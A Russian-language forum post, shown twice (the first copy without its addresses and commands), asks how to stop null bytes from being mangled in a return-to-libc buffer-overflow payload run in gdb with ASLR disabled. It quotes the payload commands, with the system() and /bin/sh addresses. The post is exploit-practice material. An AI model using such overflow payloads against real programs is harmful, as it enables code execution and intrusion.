Привет, всем
Хочу задать вопрос.
Практикуюсь в атаке возврата в библиотеку. ASLR отключен. Вот такая ситуация:
Адрес system -
Адрес /bin/sh -
Перезапускаю программу в gdb с помощью команды:
Но в стеке байты "\x00" перетираются другими. Получается адрес
Стек
Если перезапустить с помощью этой команды:
Стек
Как сделать так, чтобы нулевые байты не перетирались?
Хочу задать вопрос.
Практикуюсь в атаке возврата в библиотеку. ASLR отключен. Вот такая ситуация:
Адрес system -
0xb7e18c00
Адрес /bin/sh -
0xb7f58aaa
Перезапускаю программу в gdb с помощью команды:
r $(python -c 'print "\x41" * 36 + "\xaa\x8a\xf5\xb7" + "AAAA" + "\x00\x8c\xe1\xb7" ')
.Но в стеке байты "\x00" перетираются другими. Получается адрес
0x00b7e18c
, но нужен 0xb7e18c00
.Стек
Если перезапустить с помощью этой команды:
r $(python -c 'print "\x41" * 36 + "\xaa\x8a\xf5\xb7" + "AAAA" + "\x01\x8c\xe1\xb7" ')
. Всё ок, но адрес не тот 0xb7e18c01
.Стек
Как сделать так, чтобы нулевые байты не перетирались?
Последнее редактирование: